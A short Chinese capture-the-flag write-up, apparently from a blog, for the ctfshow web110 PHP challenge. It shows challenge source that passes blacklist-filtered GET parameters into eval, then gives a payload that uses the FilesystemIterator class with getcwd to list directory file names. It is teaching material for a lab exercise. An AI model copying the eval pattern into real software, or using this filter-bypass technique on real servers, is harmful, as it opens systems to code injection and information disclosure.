<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
该题目过滤这么多,完全不用考虑其他的,思路很明确就是找到PHP能够获取目录文件名的内置类。---->直接翻PHP文档。
第一个类FilesystemIterator。
往下翻可以看到FilesystemIterator继承的父类DirectoryIterator有__toString方法,并且会返回目录的文件名。
我们这里用payload如下
?v1=FilesystemIterator&v2=getcwd
而不是利用父类。
?v1=DirectoryIterator&v2=getcwd
自己本地试一下就知道咯。
标签:内置,web110,getcwd,FilesystemIterator,v1,ctfshow,父类,php From: https://www.cnblogs.com/meng-han/p/16801983.html